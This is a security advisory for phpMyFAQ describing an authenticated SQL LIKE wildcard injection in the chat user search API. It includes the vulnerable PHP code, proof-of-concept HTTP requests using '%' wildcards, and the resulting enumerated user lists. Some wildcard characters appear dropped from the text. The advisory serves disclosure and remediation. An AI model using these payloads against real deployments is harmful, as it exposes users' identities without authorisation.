GHSA-6pvm-2vjj-rx4w: Input Validation

Published Aug 12, 2026
·
Updated

Summary

An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and , which remain active LIKE wildcards.

### Details

The vulnerable endpoint is: GET /api/chat/users?q=... Source: php // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php $query = trim($request->query->get('q', ''));

if (mbstrlen($query) < 2) { return $this->json([ 'success' => true, 'users' => [], ], Response::HTTPOK); }

$chat = new Chat($this->configuration); $users = $chat->searchUsers($query, $this->currentUser->getUserId()); Sink: php // phpmyfaq/src/phpMyFAQ/Chat.php $escapedTerm = $this->configuration->getDb()->escape(mbstrtolower($searchTerm));

$query = sprintf( "SELECT u.userid, ud.displayname FROM %sfaquser u LEFT JOIN %sfaquserdata ud ON u.userid = ud.userid WHERE u.userid != %d AND u.userid > 0 AND LOWER(ud.displayname) LIKE '%%%s%%' AND u.accountstatus = 'active' LIMIT %d", Database::getTablePrefix(), Database::getTablePrefix(), $excludeUserId, $escapedTerm, $limit, ); escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and are interpreted by the database as wildcards.

The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.

### PoC:

Tested against:

phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae

Prerequisite: attacker has any valid authenticated user account.

1. Ensure there are multiple active users in the database, for example: userId=2 displayName="Alice Finance" userId=3 displayName="Bob Support" userId=4 displayName="Carol Engineering" 2. Send a normal query that should not match any user: GET /api/chat/users?q=zz HTTP/1.1 Host: target Cookie: [authenticated session] Observed response: { "success": true, "users": [] } 3. Send a wildcard query: GET /api/chat/users?q=%25%25 HTTP/1.1 Host: target Cookie: [authenticated session] Observed response: { "success": true, "users": [ { "userId": 2, "displayName": "Alice Finance" }, { "userId": 3, "displayName": "Bob Support" }, { "userId": 4, "displayName": "Carol Engineering" } ] } The same issue is reproducible with wildcards: GET /api/chat/users?q= HTTP/1.1 Host: target Cookie: [authenticated session] Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q= returned active users.

### Impact

This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.

Video PoC:

https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f

Affected Software

1 affected componentFixes available
composer/thorsten/phpmyfaq<4.2.0-alpha
4.2.0-alpha

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/thorsten/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.2.0-alpha

Event History

Aug 12, 2026
Advisory Published
via GitHub·03:17 PM
Data Sourced
via GitHub·03:17 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-6pvm-2vjj-rx4w?

The severity of GHSA-6pvm-2vjj-rx4w is medium, rated at 5.4.

2

How do I fix GHSA-6pvm-2vjj-rx4w?

To fix GHSA-6pvm-2vjj-rx4w, update to the latest version of phpMyFAQ where this vulnerability has been addressed.

3

What type of vulnerability is GHSA-6pvm-2vjj-rx4w?

GHSA-6pvm-2vjj-rx4w is an authenticated SQL LIKE wildcard injection vulnerability.

4

What impacts does GHSA-6pvm-2vjj-rx4w have on users?

GHSA-6pvm-2vjj-rx4w allows any logged-in user to enumerate active users by bypassing the intended display-name search filter.

5

What software is affected by GHSA-6pvm-2vjj-rx4w?

GHSA-6pvm-2vjj-rx4w affects the composer/thorsten/phpmyfaq software.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203